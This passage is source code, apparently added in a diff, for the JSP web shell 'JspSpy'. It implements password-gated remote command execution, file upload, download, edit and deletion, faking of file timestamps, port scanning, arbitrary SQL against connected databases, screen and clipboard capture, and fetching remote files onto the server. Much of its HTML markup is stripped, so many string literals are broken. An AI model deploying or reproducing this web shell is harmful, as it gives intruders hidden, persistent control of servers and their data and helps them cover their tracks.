                            "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
                            " + msg; +out.write("
                            "+msg+"
                            "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
                            "+ +"

                            System Clipboard »

                            "+ +"

                            ");
                            +try{
                            +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
                            +}catch (Exception ex) {
                            +out.println("ClipBoard is Empty Or Is Not Text Data !");
                            +}
                            +out.println("
                            "+ +" "+ +"

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
                            "+ +"

                            Remote Control »

                            "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
                            "+ +"

                            PortScan >>

                            "+ +"
                            "+ +"

                            "+ +"IP : Port : Timeout (秒) : "+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
                            "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
                            "); +} +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
                            "+ +"
                            "+ +""+ +"

                            DataBase Manager »

                            "+ +""+ +"

                            "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

                            "+ +"
                            "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
                            "+ +"
                            "+ +""+ +"

                            DataBase Manager »

                            "+ +""+ +"

                            "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

                            "+ +"
                            "); +out.println("
                            "+ +"

                            Run SQL query/queries on database :

                            "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

                            Query#0 : "+Util.htmlEncode(sql)+"

                            "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
                            "+meta.getColumnName(i)+"
                            "+meta.getColumnTypeName(i)+"
                            "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

                            affected rows : "+obj+"

                            "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
                            "+ +"

                            Password: "+ +" "+ +" "+ +" "+ +"

                            "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
                            "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

                            File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

                            "); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            Current Directory
                            "+ +"
                            "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
                            "+ +"
                            "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
                             NameLast ModifiedSizeRead/Write/Execute 
                            =Goto Parent
                            0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
                            "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
                             Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
                            "); +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
                            "+ +"
                            "+ +"

                            Create / Edit File »

                            "+ +""+ +"

                            Current File (import new file name and new file)

                            "+ +"

                            File Content

                            "+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
                            "+ +"
                            "+ +"

                            Create / Edit File »

                            "+ +""+ +"

                            Current File (import new file name and new file)

                            "+ +"

                            File Content

                            "+ +"

                            "+ +"
                            "+ +"
                            "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
                            "+ +"
                            "+ +"

                            Set File Property »

                            "+ +"

                            Current file (fullpath)

                            "+ +" "+ +"

                            Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

                            "+ +"

                            Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

                            "+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
                            "+ +"
                            "+ +"

                            Execute Program »

                            "+ +"

                            "+ +""+ +""+ +"Parameter
                            "+ +""+ +"

                            "+ +"
                            "+ +"
                            "+ +"

                            Execute Shell »

                            "+ +"

                            "+ +""+ +""+ +"Parameter
                            "+ +""+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

                            "); +out.println("
                            ");
                            +String command = request.getParameter("command");
                            +if (!Util.isEmpty(command)) {
                            +Process pro = Runtime.getRuntime().exec(command);
                            +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
                            +String s = reader.readLine();
                            +while (s != null) {
                            +out.println(Util.htmlEncode(Util.getStr(s)));
                            +s = reader.readLine();
                            +}
                            +reader.close();
                            +out.println("
                            "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
                            "+ +"
                            "+ +"

                            Remote File DownLoad »

                            "+ +"

                            "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); 